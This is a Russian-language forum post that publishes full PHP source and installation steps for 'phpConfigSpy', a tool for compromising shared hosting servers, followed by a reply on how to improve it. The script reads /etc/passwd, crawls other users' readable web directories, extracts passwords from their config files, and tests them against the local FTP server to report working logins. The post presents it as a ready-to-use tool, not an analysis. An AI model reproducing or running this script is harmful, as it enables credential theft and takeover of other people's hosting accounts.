phpConfigSpy v0.2 phpConfigSpy v0.2 [Описание] phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт. После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации. Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте. [Source] PHP: <?php /* phpConfigSpy v0.2 coded by p-range #645552 (c) http://p-range.info */ echo '<html><head><title>phpConfigSpy v0.2</title></head><body>'; ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>'); set_time_limit(0); ################### @$passwd = fopen('/etc/passwd','r'); if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); } $pub = array(); $users = array(); $conf = array(); $i = 0; while(!feof($passwd)) { $str = fgets($passwd); if ($i > 35) { $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); } } } $i++; } ################### echo '<br><br><textarea cols="100" rows="20">'; echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"; echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"; echo "[~] Searching for passwords in config files...\n\n"; foreach ($users as $user) { $path = "/home/$user/public_html/"; read_dir($path,$user); } echo "\n[+] Done\n"; function read_dir($path,$username) { if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $fpath = "$path$file"; if (($file != '.') and ($file != '..')) { if (is_readable($fpath)) { $dr = $fpath."/"; if (is_dir($dr)) { read_dir($dr,$username); } else { if ( ($file=='config.php') or ($file=='config.inc.php') or ($file=='conf.php') or ($file=='settings.php') or ($file=='setup.php') or ($file=='dbconf.php') or ($file=='dbconfig.php') or ($file=='db.inc.php') or ($file=='dbconnect.php') or ($file=='connect.php') or ($file=='index.php') or ($file=='common.php') or ($file=='config_global.php') or ($file=='db.php') or ($file=='connect.inc.php') or ($file=='dbconnect.inc.php')) { $pass = get_pass($fpath); if ($pass != '') { echo "[+] $fpath\n$pass\n"; ftp_check($username,$pass); } } } } } } } } function get_pass($link) { @$config = fopen($link,'r'); while(!feof($config)) { $line = fgets($config); if (strstr($line,'pass') or strstr($line,'pwd') or strstr($line,'db_pass') or strstr($line,'dbpass') or strstr($line,'passwd')) { if (strrpos($line,'"')) { preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass); $pass = str_replace("]=\"","",$pass); } else preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass); $pass = str_replace("]='","",$pass); return $pass[2]; } } } function ftp_check($login,$pass) { @$ftp = ftp_connect('127.0.0.1'); if ($ftp) { @$res = ftp_login($ftp,$login,$pass); if ($res) { echo '[FTP] '.$login.':'.$pass." Success !\n"; } else ftp_quit($ftp); } } echo '</textarea><br><br>Coded by <b>$re@m3r</b> & <b>p-range</b> <a href=http://p-range.info>p-range.info</a></body></html>'; ?> [Установка] phpConfigSpy работает только при SAFE_MODE = OFF. Для установки просто отредактируйте 24 строку скрипта: и 43 стоку: на соответствующий путь до веб-директории пользователей. Затем заливайте на сервер и запускайте через браузер. [Что нового] В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей. Последнюю версию скрипта можно скачать здесь. Coded by p-range & $re@m3r
PHP: <?php ... if ( ($file=='config.php') or ($file=='config.inc.php') or ($file=='conf.php') or ($file=='settings.php') or ($file=='setup.php') or ($file=='dbconf.php') or ($file=='dbconfig.php') or ($file=='db.inc.php') or ($file=='dbconnect.php') or ($file=='connect.php') or ($file=='index.php') or ($file=='common.php') or ($file=='config_global.php') or ($file=='db.php') or ($file=='connect.inc.php') or ($file=='dbconnect.inc.php')) минимум ЭТО можно было реализовать в виде массива из словарика file('list.txt') (а не дописывать каждую строку вручную), максимум - просканить все доступные диры на наличие файлов напободии *conf* *inc* *data* etc, вывести возможные варианты, а дальше пусть юзверь сам ставит галки, какие файлы чекать на пассы. зы. thread за 2007 год )) вот пдф журнала икс за февраль 2009 просматривал, там увидел